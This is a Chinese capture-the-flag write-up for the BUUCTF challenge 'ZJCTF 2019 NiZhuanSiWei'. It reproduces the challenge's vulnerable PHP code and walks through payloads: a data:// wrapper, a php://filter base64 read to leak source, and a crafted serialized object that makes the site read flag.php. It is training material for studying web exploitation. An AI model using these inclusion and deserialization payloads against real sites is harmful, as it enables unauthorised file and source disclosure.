buuctf-[ZJCTF 2019]NiZhuanSiWei 1(小宇特详解)

buuctf-[ZJCTF 2019]NiZhuanSiWei 1(小宇特详解)

这里打开之后是一段源码

<?php
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){   
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";   if(preg_match("/flag/",$file)){     
        echo "Not now!";     
        exit();   
	}else{     
    	include($file); //useless.php     
    	$password = unserialize($password);     
    	echo $password;   } } 
else{   
    highlight_file(__FILE__); } ?> 

需要通过GET方式传入,text,file,password

isset的作用是检测变量是否已设置并且非null

file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

第一个payload

?text=data://text/plain,welcome to the zjctf

preg_match("/flag/",$file)

这里不能出现flag字符

但是源码提示了useless.php这里使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php

第二个payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

这里推荐一个我一直在用的解码工具

CyberChef (kitsch.live)

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里最后会echo输出$file

将flag.php的值给了$file,然后反序列化

这里用在线php编译器编译一下以下的代码

<?php 
 
class Flag{  //flag.php 
    public $file="flag.php"; 
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
} 
$password=new Flag();
echo serialize($password);
?> 

O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

重新构造payload

text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

然后访问源码就找到了flag

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值